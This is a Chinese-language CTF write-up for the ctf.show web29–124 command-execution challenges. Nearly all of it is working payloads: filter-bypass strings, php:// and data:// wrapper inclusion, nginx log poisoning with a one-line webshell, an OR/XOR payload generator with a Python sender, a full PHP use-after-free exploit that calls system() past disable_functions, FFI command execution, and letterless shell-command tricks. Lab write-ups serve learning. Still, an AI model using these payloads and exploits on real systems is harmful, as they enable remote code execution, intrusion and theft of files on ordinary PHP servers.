web29
正则过滤php,用两个单引号插在中间即可
payload:?c=system("tac fla''g.php");
web30
过滤system可用passthru,而过滤php也可以用中间插两个单引号绕过
payload:?c=passthru("tac fl''ag.p''hp");
web31
空格过滤可以用$IFS$9 或%09替代,过滤单引号我们可以用通配符
payload:c=passthru("tac$IFS$9fla*"); 要将$转义一下
payload2:c=passthru("tac%09fla*");
web32-36
利用include去包含,然后用伪协议
(29条消息) PHP伪协议详解_Snakin_ya的博客-CSDN博客
过滤了;用?>替代,这样去包含也是可以的,%0a是换行的意思
<?php
include
$_GET['a']?>
payload:c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
包含文件,但是不能有flag字符,利用data伪协议即可
data://text/plain,这里可以直接执行php代码
payload:c=data://text/plain,<?php system('tac fla*');?>
web38
过滤了php用短标签<?=
payload:c=data://text/plain,<?= system('tac fla*');?>
web39
包含文件之后再拼接.php
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:c=data://text/plain,<?php system('tac fla*');?>
web40
过滤了很多,没有过滤字母、括号、下划线 (里面过滤的是中文符号的括号)
- localeconv():是个数组,第一个元素是点
- pos():输出数组第一个元素
- scandir():里面是点 输出当前目录
- array_reverse():数组反转
- next():指向数组的下一个元素,并输出
- highlight_file():高亮显示
先print_r(scandir(pos(localeconv()))); 输出当前目录内容
payload:c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web41
过滤了很多,但没有过滤或(|) 使用脚本跑
rce.fuzz.php 先跑出来能绕过正则的字符(正则条件替换一下)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
再用rce.py跑
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
#用rce_fuzz.php根据正则去跑,然后再这里执行
os.system("php F:\\php\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"F:\\php\rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
function:函数
conmmand:命令
web42
了解一下
>/dev/null 2>&1
>/dev/null
将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
2>&1
这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。
>/dev/null 2>&1
就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞
payload:?c=tac f*%26%26ls(因为是url传过去的所以&&要url编码)
web43
payload:?c=nl%20flag.php%0a
payload:?c=tac%20fla*%0a
payload:?c=tac fla*%26%26ls
web44
多过滤了一个flag,同上payload
web45
过滤空格用$IFS$9
payload:tac$IFS$9fla*%0a
web46
%09和%26应该不算数字,算是url编码
%26:&
%09:水平制表符
payload:tac%09fla?.php||
web47
过滤了一堆显示的命令,tac还是没有过滤
payload:tac%09fla?.php||
web48
payload:tac%09fla?.php||
payload:tac%09fla?.php%26 %26是&
web49
payload:tac%09fla?.php||
payload:tac%09fl''ag.php||
web50
%09 %26都过滤了,用<代替空格
更多绕过可以看这篇(29条消息) linux中查看文件命令和空格绕过_linux 命令行空格用什么代替ifs_c1oud..的博客-CSDN博客
payload:tac<fla''g.php||
web51
payload:nl<fla''g.php||
web52
过滤了<>,但是没有过滤$,先查看以下flag在哪里:c=ls$IFS/||
payload:c=nl$IFS/fl%27%27ag||
web53
payload:c''at${IFS}fl''ag.p''hp
payload:uniq${IFS}fl''ag.p''hp
web54
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令
这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面
payload:/bin/?at${IFS}f???????
web55-56
过滤字母,但是没过滤点和空格,可以考虑经典无字母数字rce
先构造一个文件上传的表单,抓包,文件内容是shell命令#!/bin/sh
web57
这一题非常有意思,只需要构造出36就可以
再linux中
$(()) 为0
$((~$(()))) 为-1
$((~$((中间需要多少数相加即可))))
$(($(( $(($(())))+$(($(())))+$(($(()))) )))) 这个是2
(中间加到36即可)
web58
禁用了system,shell_exec等
payload:c=echo file_get_contents('flag.php');
payload:show_source('flag.php');
web59
payload:show_source('flag.php');
还可以include($_GET[1]),然后伪协议读取
web60
可以用nginx日志包含
1、在ua头里面写入一句话木马,日志里面就会有记录
2、包含 /var/log/nginx/access.log,把日志当作php执行
3、蚁剑直接连接
web61
禁用了file_get_contens(),shell_exec()
伪协议可用,日志包含可用
先ua头写入一句话,然后highlight_file函数未禁用,查找
show_source是highlight_file函数的别名都能用
web62
上面两种方法都可,还有一种骚姿势
c=include('flag.php');echo $flag;
web63
get_defined_vars() 函数返回由所有已定义变量所组成的数组
payload:c=include('flag.php');var_dump(get_defined_vars());
var_dump输出 注册变量
web64-65
有五种payload
1、include('flag.php');echo "$flag";
2、show_source('flag.php');
3、使用文件包含,伪协议读取
4、日志包含
5、输出注册变量:include('flag.php');var_dump(get_defined_vars());
web66
没有禁用highlight_file,查看发现flag不在flag.php里面
先:c=print_r(scandir("/"));
再:c=highlight_file('/flag.txt');
web67
var_dump(scandir('/'));
payload:highlight_file('/flag.txt');
web68
var_dump(scandir('/'));
payload:include('flag.txt');
web69
PHP读取目录的方式:
print_r(glob("")); // 列当前目录print_r(glob("/")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/");foreach($a as $value){echo $value." ";}
$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
$a=new DirectoryIterator('glob:///');foreach($a as $f){echo($f->__toString()." ");}
payload:c=$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
include('/flag.txt');
web70-71
代码执行后把缓冲区内容拿到,然后清空缓冲区,然后替换
可以使他提前退出,不执行后面的
payload:include('/flag.txt');exit();
web72
open_basedir限制了目录访问
使用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt /*表示根目录下所有文件
先c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
在使用通用绕过安全目录的一个脚本(在最后的位置修改一下文件名)
在把整个php文件的内容url编码后发送
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag36.txt");ob_end_flush();
?>
web73-74
使用glob://伪协议绕过open_basedir,发现根目录下有flagc.txt
先c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
直接include('/flagc.txt');exit();
web75-76
使用glob://伪协议绕过open_basedir,发现根目录下有flag36.txt
尝试72的脚本,无效
先查找数据库名称,然后把dbname修改数据库名,load_file读取
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
web77
先glob协议查看根目录文件,flag36x.txt读取不到,需要执行readflag
ffi方法,php7.4以上的特性
$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();
执行/readflag 把结果输出到1.txt,注:exit();
readflag是里面有flag的文件,然后访问1.txt就行
web118
打开就一个这个页面
查看源代码,发现:
用ls试了下发现过滤,拿字典跑一下看放出来什么字符
环境变量PATH是/bin,路径PWD是/var/www/html。
${PATH:A}${PWD:A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。
payload:${PATH:
A}${PWD:A}$IFS????.???相当于:nl flag.php
web119-120
来了解一下linux构造各种字符
0可以用字符代替;像这样 ${z}1${#SHLVL},或者${##}、${#?} 、 先<A;在然后的$?就是12用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。3${#IFS}=3。(linux下是3,mac里是4)4或者5${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)
${RANDOM} 这个是随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
接下来就是找能构造出来的某一个字符,剩下的用通配符就可以
开始构造:可以构造一下/bin/cat
这样构造:/???/?a? ????.??? user用户里面有a,构造一个 t 也可以
/ 这样构造${PWD::${#SHLVL}} 这个的意思是取他的第一位a 这样构造${USER:A} ~取反,0的话就是取全部,0就是取倒数第一个 1取2个t 这样构造${USER:${#SHLVL}:${#SHLVL}} ~1 从倒数第二个开始取,一次取一个
(自己本地多试试就知道怎么构造了)
payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
过滤了SHLVL USER HOME ~
在/bin目录下有个rev命令 ,这个是将文件内容倒叙输出
'${PWD::${##}}' #取第一个 /
'${Z}' #0
'${##}' #1
'${PWD:${PHP_VERSION:~A}:${##}}' #取第三个 a
'${USER:~A}' #a
'${PHP_VERSION:~A}' #2
'${PWD:${##}:${##}}' #v
'/???/??v ????.???' #构造这个命令
'${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???'
payload:${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???
只要你能将各种字符构造出来,其实剩下的只要拼接一下就行
盯着这几个构造就行(多本地试,这个一定要自己动手试试把各种字符构造出来)
${RANDOM} 这个是随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
web122
过滤了# PWD 上一个payload用不了了
这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而$#,就换成$?
在执行命令前,先用<A 使下一次$?的报错结果为1
${}和<A都可,以但是题目上${}这个不可以,所以只能用<A
知识点:$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值是可控的
在/bin目录下有个/bin/base64 这个是可以将文件内容以base64形式输出出来
构造/???/?????4 ????.??? (只构造一个4出来,让他匹配到/bin/base64)
payload:<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
分解就是这样的:
<A; ${HOME::$?} ??? ${HOME::$?} ????? ${RANDOM::$?} ????.???
/ ??? / ????? 4 ????.???
而这个${RANDOM}是随机的,所以写个python脚本跑一下即可
import requests
url='http://fe51f506-5ca4-4818-ace4-50769b5d34ab.challenge.ctf.show/'
for i in range(100):
res=requests.post(url=url,data={
'code':'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'
})
if len(res.text) != 3069:
print(res.text)
break
再把base64解码一下
web124
就是说变量名必须全部为数组里面的
#_GET的十六进制:5f474554
#转换成十进制:hexdec(5f474554) == 1598506324
#$a=base_convert('hex2bin',36,10);
#将hex2bin 36转10:37907361743
$a=base_convert(37907361743,10,36)(dechex(1598506324));
echo $a; #结果是 _GET
显示的时候两个$还有其他东西会转化,所以payload啥的看截图:
至于什么是动态函数调用,举个简单的例子:
<?php
$_GET['a']($_GET['b']);
?>
可以看到成功执行,这个就是动态函数调用,函数自己定义,参数自己定义
版权归原作者 T6... 所有, 如有侵权,请联系我们删除。